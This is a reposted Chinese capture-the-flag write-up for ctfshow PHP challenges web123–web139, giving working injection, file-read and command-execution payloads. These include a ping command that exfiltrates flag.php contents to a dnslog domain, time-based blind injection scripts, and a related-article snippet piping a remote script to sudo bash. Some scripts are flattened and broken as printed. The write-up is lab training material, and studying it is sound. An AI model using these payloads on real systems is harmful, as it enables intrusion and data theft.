ctfshow web入门 php特性 web123--web139

web123

在这里插入图片描述必须传CTF_SHOW,CTF_SHOW.COM 不能有fl0g
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。

POSTCTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

但是和这个$a=$_SERVER['argv']; 没啥关系
不过为了后面更好做题我们还是研究一下
添加链接描述
他这里对这个就讲的特别详细了,我抄一下

argv是数组,argc是数字。
可通过var_dump($_SERVER);var_dump($argv);语句查看argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv(数组)两个元素是aaa和bbb。argc是数组的长度。php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
web网页模式下在web页模式下必须在php.ini开启register_argc_argv配置项设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]
//$_SERVER[‘argv’][0]就是a[0]$argv,$argc在web模式下不适用
cli模式(命令行)下第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3以上示例的输出类似于:
array(4) {[0]=>string(10) "script.php"[1]=>string(4) "arg1"[2]=>string(4) "arg2"[3]=>string(4) "arg3"
}

然后现在是网页模式

这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]
//$_SERVER[‘argv’][0]就是a[0]

利用$_SERVER['argv'][0] 就可以绕过对**isset($fl0g)**的判断,用+代表空格。

构造payload

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 

这道题终于解决了

web125

在这里插入图片描述就用argv的方法来写

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web126

在这里插入图片描述如上题

web127

在这里插入图片描述extract:从数组中将变量导入到当前的符号表
在这里插入图片描述还有空格可以用

?ctf show=ilove36d

在这里插入图片描述

web128

在这里插入图片描述

gettext():_()gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数(因为过滤了字母所以我们就用下划线,让其输出)
get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。
?f1=_&f2=get_defined_vars

在这里插入图片描述

web129

在这里插入图片描述

stripos:查找字符串首次出现的位置readfile: 输出文件

题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取

GET传参://查看源码获得flag
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php//直接回显base64,然后base64解密
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

在这里插入图片描述stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数
然后数组可以绕过preg_match

POST:
f[]=1
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复。所以在ctfshow前面必须有至少一个字符,才会返回true
所以直接构造playload:f=ctfshow,即可绕过preg_match函数同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)
POST:
f=ctfshow

还可以目录溢出

import requests
url="xxxxxxxxxxxxxxx"
data={'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web131

在这里插入图片描述会进行字符串转换我们之前的办法用不了了
用脚本使得目录溢出

import requests
url="xxxxxxxxxxxxxxx"
data={'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

在这里插入图片描述

web132

在这里插入图片描述
扫描后台,我们进admin/index.php看看
在这里插入图片描述在这里插入图片描述mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快
生成1-877的随机数

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
由于&&||优先级高所以可以看成是
if($code === mt_rand(1,0x36D) && $password === $flag|| $username ==="admin")
所以满足username=admin然后code=admin就有flag

?username=admin&code=admin&password=1在这里插入图片描述

web133

在这里插入图片描述

$F = @$_GET['F'](防止报错)
substr($F,0,6)(截取其中的六个字符)
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
就是说执行的是eval'$F`;+sleep 3`';

然后我们就可以进行类似的构造

?F=`$F` ;ls /
?F=`$F` ;tac /f*

但是没有回显

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.dnslog得到的网址 -c 1

DNSlog
在这里插入图片描述

先点击左边的获得域名,然后传参之后再点击右边的刷新结果
在这里插入图片描述flagctfshowcf2216ae8dbe496da637709e3218946c.he20y5.dnslog.cn
8-4-4-4-12的flag格式
ctfshow{cf2216ae-8dbe-496d-a637-709e3218946c}

web134

在这里插入图片描述

parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1。
extract 其功能是将关联数组中的键名转换为变量名,并将键值赋给这些变量。

对_POST进行extract,那么构造

?_POST[key1]=36d&_POST[key2]=36d
//刚好   key1=36d&key2=36d

查看源代码
在这里插入图片描述

web135

在这里插入图片描述web133一样的东西但是我们的grep被过滤了,所以得思考一下怎么才行,但是反斜杠引号什么的没过滤,就可以用来绕过
但是不知道为什么web133的相关操作我都用不了了
只能用其他方法了比如写文件

?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt

然后访问x.txt就可以拿到flag
在这里插入图片描述

拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f}

web136

在这里插入图片描述exec相当于system
直接ls查看目录,发现一片空白,这时候就需要学新东西了

tee命令
主要用于从标准输入读取数据,并将其内容同时输出到标准输出(屏幕)和一个或多个文件中。简单来说,就像水管中的 T 形接头一样,数据流经过这里时,既可以继续流向下游,也可以分流保存到指定的文件中。
例子
echo "This is a test line." | tee file1.txt file2.txt
不仅会输出而且还会保存到file1.txt和 file2.txt
?c=ls /|tee 3
然后访问3,下载文件记事本打开

查看flag

?c=cat /f149_15_h3r3|tee 6

在这里插入图片描述在这里插入图片描述

web 137

在这里插入图片描述获得flag要调用getflag,也就是调用类里面的成员

->用于动态语境处理某个类的某个实例::可以调用一个静态的、不依赖于其他初始化的类方法

必须传参ctfshow

POST:
ctfshow=ctfshow::getflag

在这里插入图片描述查看源代码
在这里插入图片描述

web138

在这里插入图片描述
调用类中的成员但是不能有 : 那么刚才的方法就不能用了,但是我们的

call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:的出现。

传参

POST:
ctfshow[0]=ctfshow&ctfshow[1]=getflag

查看源码
在这里插入图片描述

web139

在这里插入图片描述

import requests
import time
import stringstr = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"    # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = ""          # 初始化一个空字符串,用于保存结果#获取多少行
for i in range(1, 99):key = 0   #用于控制内层循环(j)的结束#不break的情况下,一行最多几个字符for j in range(1, 99):if key == 1:breakfor n in str:       #n就是一个一个的返回值payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符#print(payload)url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payloadtry:requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。# 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环except:result = result + nprint(result)breakif n == '~':    #str的最后一位,“~”不常出现,用作结尾key = 1# 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置result += " "

在这里插入图片描述f149_15_h3r3

import requests
import time
import stringstr = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):for n in str:payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)# print(payload)url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payloadtry:requests.get(url, timeout=(2.5, 2.5))except:result = result + nprint(result)breakif n=="~":result = result + "花括号"

继续跑flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/800985.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习模型——GBDT和Xgboost

GBDT基本概念: GBDT(Gradient Boosting Decision Tree,简称GBDT)梯度提升决策树,是Gradient Boost 框架下使用较多的一种模型,且在GBDT中,其基学习器是分类回归树也就是CART,且使用…

【第二十六篇】Burpsuite实现请求方式修改+请求体文件选取

有时我们想将请求包的请求方法或请求体进行修改,这些操作可以由burpsuite完成,以节省时间。 文章目录 修改请求方法请求体文件选取修改请求方法 例如,某请求包的请求方法为GET: 如果我们想将其修改为POST且传递POST参数、上传文件,可以按以下步骤: 1、修改请求方法 2…

vue2中的局部组件和全局组件

注:vue2中使用组件远没有vue3中简单,具体可以看阿耿老师的lingshi小程序 如图所示:

【拓扑的基】示例及详解

集合X的某拓扑的一个基是X的子集的一个族(其成员称为基元素),满足条件: 1. 2. 由基生成拓扑 由生成的拓扑(满足以上两个条件) 等价描述: 由所有可表示为的某些成员的井的那些集合组成 例1: 证明:由生成的族确实是拓扑…

springboot-admin使用及原理剖析

服务端 依赖 <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>de.codecentric</groupId><art…

提高网站安全性,漏洞扫描能带来什么帮助

随着互联网的蓬勃发展&#xff0c;网站已经成为人们获取信息、交流思想、开展业务的重要平台。然而&#xff0c;与之伴随的是日益严重的网络安全问题&#xff0c;包括恶意攻击、数据泄露、隐私侵犯等。 为了保障网站的安全性&#xff0c;提前做好网站的安全检测非常有必要&…

2024年 CS2最佳游戏启动项

引言&#xff1a; Counter-Strike 2&#xff08;CS 2&#xff09;是一款备受瞩目的游戏&#xff0c;而启动选项则是影响游戏性能和体验的关键因素之一。然而&#xff0c;有关所有选项都应该强制使用的说法并不正确。事实上&#xff0c;大多数选项可能对某些计算机并不适用&…

Cali Linux上的PoshC2安装和使用

一、安装PoshC2 curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install-for-Docker.sh | sudo bash二、创建工程 posh-project -n test三、修改配置文件 posh-config将图中的baidu.com改为自己要攻击的域名或者IP地址 四、执行 posh-server 显示没…

YOLOV8注意力改进方法: Dual-ViT(Dual Vision Transformer) (附改进代码)

原论文地址&#xff1a;原论文下载网址 论文相关内容介绍 将自注意力过程分解为区域和局部特征提取过程&#xff0c;每个过程产生的计算复杂度要小得多。然而&#xff0c;区域信息通常仅以由于下采样而丢失的不希望的信息为代价。在本文中&#xff0c;作者提出了一种旨在缓解…

基于Leaflet.js的Marker闪烁特效的实现-模拟预警

目录 前言 一、闪烁组件 1、关于leaflet-icon-pulse 2、 使用leaflet-icon-pulse 3、方法及参数简介 二、闪烁实例开发 1、创建网页 2、Marker闪烁设置 3、实际效果 三、总结 前言 在一些地质灾害或者应急情况当中&#xff0c;或者热门预测当中。我们需要基于时空位置来…

C++练级之路——类和对象(上)

1、类的定义 class 类名{//成员函数 //成员变量}; class为定义的关键字&#xff0c;{ }内是类的主体&#xff0c;注意后面的 ; 不要忘了 类体中的内容成为类的成员&#xff0c;类中的变量为成员变量或类的属性&#xff0c;类中的函数为成员函数或类的方法&#xff0c; 类的两种…

通过Golang获取公网IP地址

在Go语言中&#xff0c;获取当前的外网&#xff08;公网&#xff09;IP地址可以通过多种方法实现。其中一种常见的方法是通过访问外部服务来获取。这些服务可以返回访问者的公网IP地址&#xff0c;例如 httpbin.org/ip 或 ipify.org。下面是一个简单的例子&#xff0c;展示了如…

免费云服务器汇总,最长永久免费使用

随着云计算技术的快速发展&#xff0c;越来越多的企业和个人开始将业务迁移到云端。云服务器作为云计算的重要组成部分&#xff0c;以其灵活、高效、可扩展等特点受到广泛关注。然而&#xff0c;许多人在初次接触云服务器时&#xff0c;可能会对高昂的价格望而却步。为了帮助大…

GEE:绘制和对比不同地物的光谱曲线

作者:CSDN @ _养乐多_ 光谱曲线是指在不同波长范围内物体或地表特征对电磁辐射的反射、吸收或发射的表现。这些曲线展示了物体或地表在可见光、红外线、微波等电磁波段上的光谱特征。光谱曲线的形状和特征能够提供关于物体或地表的信息,可以利用光谱曲线来识别和分类不同的地…

Java设计模式—策略模式(商场打折)

策略这个词应该怎么理解&#xff0c;打个比方说&#xff0c;我们出门的时候会选择不同的出行方式&#xff0c;比如骑自行车、坐公交、坐火车、坐飞机、坐火箭等等&#xff0c;这些出行方式&#xff0c;每一种都是一个策略。 再比如我们去逛商场&#xff0c;商场现在正在搞活动&…

Python技能树学习-函数

题目一&#xff1a;递归调用 函数的参数&#xff1a; def dump(index, default0, *args, **kw): print(打印函数参数) print(---) print(index:, index) print(default:, default) for i, arg in enumerate(args): print(farg[{i}]:, arg) for…

Vue 样式技巧总结与整理[中级局]

SFC&#xff08;单文件组件&#xff09;由 3 个不同的实体组成&#xff1a;模板、脚本和样式。三者都很重要&#xff0c;但后者往往被忽视&#xff0c;即使它可能变得复杂&#xff0c;且经常导致挫折和 bug。 更好的理解可以改善代码审查并减少调试时间。 这里有 7 个奇技淫巧…

[StartingPoint][Tier2]Archetype

Task 1 Which TCP port is hosting a database server? (哪个端口开放了数据库服务) $ nmap 10.129.95.187 -sC --min-rate 1000 1433 Task 2 What is the name of the non-Administrative share available over SMB? (哪个非管理共享提供了SMB?) $ smbclient -N -L 1…

Rsync——远程同步命令

目录 一、关于Rsync 1.定义 2.Rsync同步方式 3.备份的方式 4.Rsync命令 5.配置源的两种表达方法 二、配置服务端与客户端的实验——下载 1.准备工作 2.服务端配置 3.客户端配置同步 4.免交互数据同步 5.源服务器删除数据是否会同步 6.可以定期执行数据同步 三、关…

JVM的简单介绍

目录 一、JVM的简单介绍 JVM的执行流程 二、JVM中的内存区域划分 1、堆&#xff08;只有一份&#xff09; 2、栈&#xff08;可能有N份&#xff09; 3、程序计数器&#xff08;可能有N份&#xff09; 4、元数据区&#xff08;只有一份&#xff09; 经典笔试题 三、JVM…